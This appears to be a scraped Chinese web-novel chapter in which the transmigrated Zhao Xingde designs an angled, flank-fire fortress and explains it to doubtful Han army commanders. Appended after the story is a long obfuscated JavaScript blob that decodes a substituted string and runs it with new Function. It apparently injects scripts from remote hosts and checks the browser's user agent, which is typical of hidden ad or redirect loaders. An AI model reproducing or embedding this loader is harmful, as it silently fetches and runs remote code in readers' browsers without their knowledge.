章50 肃穆坐华堂-1
章节错误,点此举报(免注册),举报后维护人员会在两分钟内校正章节内容,请耐心等待,并刷新页面。
不通筑城术,凭空起楼,令赵行德颇为头痛,但有样好处,便是避开了前代成法的拘泥,由得他另起炉灶,以发挥火炮的厉害为重。琴声悠扬,渐渐地亦充耳不闻。</p>
“对结阵而战的军队来说,总是专注于正面攻防,来自侧翼的打击总比正面要更麻烦一些,”赵行德挠了挠头,咕哝道,“筑城时便应该反其道而行之,强调侧翼火力,对,这是第二大原则,以发挥侧射火力为重。”思索了半天,又发现了一条重要原则,他赶紧将这条记在纸上。志得意满之际,耳畔的琴声似乎也不那么讨厌了。</p>
月至中天,乌鹊偶尔飞起,赵行德营帐里的灯火一直亮着,夜深人静时,不时响起低声的自言自语。“第三大原则,重要的炮位位置应该靠后,防护的周密性要和炮位的重要性相吻合。......”“第四大原则,应该是防守效率最高的位置,安放火力最强的武器。以寡凌众,用火力换兵力。节省出来的兵力,在其它城墙段落,要以众凌寡的话......不一定要形成位置上的合围,但要形成火力的交叉覆盖。”.......“各条原则要兼顾,真不容易啊,他奶奶的,得到一座完美的城池太难了......”“唔,炮位所在城墙和火力防守城墙最好呈直角,炮手瞄准和发射才顺手......”</p>
到临睡的时候,赵行德忽然想起刚才吵闹的琴曲似乎是“广陵散”,这还是晁补之告诉他得,“真是的,这曲子早就该失传了。”带着这个前世的模糊糊的念头,沉沉睡去。</p>
他或许尚不自知,来到这世界,他内心即存在着极大的不安全感。遗世而独立,对旁人或许只是形容而已,对于再世为人的赵行德来说,却是他实实在在的处境。尽管在前世也算五好青年,或许还有不少懒惰和惫赖,得过且过的性子,到了这时代,处处如临深渊,如履薄冰,每做一件事都唯恐做得不够好,都是出于这种难以言喻的漂泊无依的感觉。至今为止,赵行德自己的来历,也只和李若雪隐约提到过而已。建造一座固若金汤的城池,在某种程度上,切合了他的某种心境,是以不知不觉地沉迷了进去,不单单是为了完成对汉军的承诺而已。</p>
......</p>
“赵校尉,该出发了。”</p>
“嗯。”</p>
“赵校尉,吃点干粮吧,前面说,歇口气,避过最毒的日头,就继续赶路。”</p>
“好。”</p>
“赵先生,韩盟主射杀一头鹿,特意送来的烤肉,赤梁粥。”</p>
“哦。”</p>
......</p>
他仿佛回到了前世的生活,无论在行军还是宿营,城池的样式日以继夜地浮现在他脑海里。一天,两天......十天,从无到有,从各种原则,到大致图样,再到细节的落实,到假设自己是拥有大炮和优势兵力的攻城方,不断地完善和改进,终于,在和汉军分道的前一天,赵行德将一座怪模怪样到了极致的城池图样交给了王玄素。</p>
“嗯,大概,也许,就是这样子.......”面对王玄素怀疑和震惊兼具的眼神,赵行德十分不安,有些语无伦次地解释道。因为完全沉浸在城池里面,他大约有十几天没有完整说过话了,现在口舌也笨拙了许多。</p>
王玄素盯着眼中这个古怪的图样,这算是城池么,哪怕再简陋的寨堡也不可能修筑成这样子吧,非圆非方,莫名其妙的形状,壕沟太宽,地下通道,营房居然紧贴在城墙后面。他强行把胸中的怀疑压下去,用尽可能平和的口气问道:“赵先生,你没有拿错图样么?”</p>
赵行德一愣,憨厚地笑道:“没有,呵呵,怎么会。”</p>
王玄素沉默了,确信赵行德不是开玩笑之后,饶是颇有城府如他,也从内心生出一股子愤怒。每个人表达愤怒的方式不同,若是张六哥,说不定,就阴阳怪气地堵上几句话,高伯龙会毫不留情地把图样撕成碎片摔在赵行德脸上,许德泰说不定要和赵行德绝交,而王玄素则是叫上了其他汉军将领,来到韩凝霜面前,将赵行德画的这座乱七八糟的南山城池图样摊了开来。</p>
“这就是赵先生为我们绘制的城池图样。”王玄素淡淡地说道,脸上看不出喜怒。所谓事实胜于雄辩,大概就是他现在这个做法。韩凝霜和其他几位汉军将领凑了上来,初时有些惊奇,随即,韩凝霜的额头皱成了一个川字。片刻后,张六哥啧啧赞道:“哎呦,这家伙曲曲折折的,修园子吗?”许德泰叹了口气,高伯龙脸现怒意,沉声道:“赵先生,这图样到底是怎么回事?”</p>
士可杀不可辱,这不是明摆着小觑汉军众人么?平心而论,如此至关重要的城池图样,请赵德来画,本身便是极大的信任和看重。而赵德既然答应此事,就该认真做下来,而不是如此玩笑般的应付。天下城池大都方方正正,偶有特殊的形状,只是为了要利用山川河流之势而已,而赵行德所画这城池样子,若是当真营建出来,只怕就连契丹人也要引为笑柄。</p>
“赵先生,这图样是怎么回事?”韩凝霜问道,带着浓浓的疑惑不解,语气比高伯龙要缓和许多。</p>
“这个,大概,这么回事......”想了半天,赵行德还是决定用事实来说话,他站到图纸前面,理了理思路,带着一丝质朴的笑容。</p>
“先看这里,姑且还是叫做马面吧,因为马面修筑的很大,如果敌军不攻打马面而直扑城墙的话,就会受到三面城墙上的火炮和弓箭的打击。而且连结马面的城墙很短,城墙下面空间太狭窄,扑城的军队挤在这里,跟排着队等死差不多。所以如果敌军不太愚蠢的话,肯定是要先攻打马面的。也就是,这两面城墙。嗯,有问题吗?”说着他抬起头来,看了看众人,这是很早以前养成的一个习惯了。</p>
众汉军将领相视无言,高伯龙“哼”了一声后,许德泰好意提醒道:“赵先生,马面的话,不都应该是方形的吗?”赵德所画那城池,本来应该四四方方的马面却凭空支出一支大角,看着真是让人难受。</p>
“是这样的,”赵行德善意地点了点头,取出在构思过程中所画的几张马面的图形小样,“各种马面的形状来比较,唯有这种带尖角形的,可以确保侧面射击没有死角。”他早用铅笔勾勒出大致的火力线路,略一指使,汉军将领们也大致能懂得他所描画的内容。</p>
看了这几张细心描绘的图形小样,汉军将领们的情绪稳定了一些,至少赵行德不是胡乱为之。“侧面射击?”王玄素疑惑道,“不都是从城头向下放箭发炮么?”</p>
“因为城头朝下射击,有很大的死角,所以,不如从侧面射击,”赵行德解释道,“结阵的敌军侧翼总比正面要薄弱一些,打击侧面更容易造成敌军崩溃,还有,”他有些不好意思地笑了笑,“将来,敌人假如蚁附攻城的话,从正面的城头发炮轰击,一发炮弹只能打穿一个单薄的正面,说不定只能打死几个人。但是,如果从侧面沿着城墙外面这条直线轰击,诸位想想看,效果或许有不同吧?”赵行德面带着诚恳,双手在空中连比带画,尽力想描摹出敌军在直线型的城墙下蚁附攻城,而这时,一发来自侧翼的炮弹,同样沿着城墙的外沿直线发射过来的情形。</p>
“......这样的发射角度,能够让炮弹穿过最多的敌军,你们看,城墙下面有宽阔的壕沟,如果侧面射击的炮弹在壕沟里形成弹跳的效果,就更完美了。”......“防守敌台正面这两条长边的炮位最重要,按照最重要的炮位保护最严密原则,它们恰好布置在靠后的敌台短边上的。这不是我布置的,这是天意,真的很巧啊,和敌台正面城墙有直角关系这道城墙,恰好位于敌台侧后方,嘿嘿嘿,妙手偶得之,”赵行德谦虚地笑了笑,“敌人要杀过来的话,先要越过矮墙,然后是壕沟,在这些地方他们都受到交叉的打击,最后他们来到交叉射击最密集的地方,每一个城下的敌军,都要遭受到三面的密集射击,这样才能攻打我们最重要的炮位,而且就算爬上城墙,也是我们人数占优势......”</p>
伴随着他絮絮叨叨的介绍,汉军将领们脸色慢慢凝重了起来,这是什么城池,简直是一座杀人的陷阱,当赵行德讲完了以后,将手一摊,诚恳地道:“就是这样子,虽然难看了一些,总算比原先的城池更好用。毕竟城池不是修来请客吃饭的。”看着他憨厚诚恳的笑容,几个人从心底里升起了丝丝寒意。</p>
www.huanyuanshenqi.com</p>
沉默了良久,韩凝霜方才将目光从图样上面抬起来,沉声道:“赵先生参赞谋划之功,汉军上下,感激不尽。”她的话语中带着震撼之后的真诚。赵行德拱手笑道:“好说,不足挂齿。”众汉军将领都保持着沉默,谁也不知道,这座城池的图样,能保下多少人得性命,从大恩不言谢这角度来说,大家也不好再多说什么,毕竟赵德不是汉军的人。饶是在震撼之下,谁也不能过去拍着他的肩膀赞一声“好兄弟,真有你的。”</p>
赵行德告辞后,众汉军将领还继续围在城池图样的周围议论,适才赵行德介绍得匆忙,但大致讲清楚了各种图样所代表的意义,也亲手演示了各种布置在攻防之际的用处。这会子功夫,众汉军将领又发现了一些赵行德没有来得及介绍的妙处。张六哥叹道:“这位赵先生,果真是一位奇人。”他想了半天,也觉得只有“奇人”这个词最合适。</p>
韩凝霜想起理学社那些传闻,笑道:“像他这种人,暗藏着这种本事,反到不奇怪。”这句话没头没尾,又显得非常熟悉,众人心存疑惑,却也不敢多问。</p>
『加入书签,方便阅读』
!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();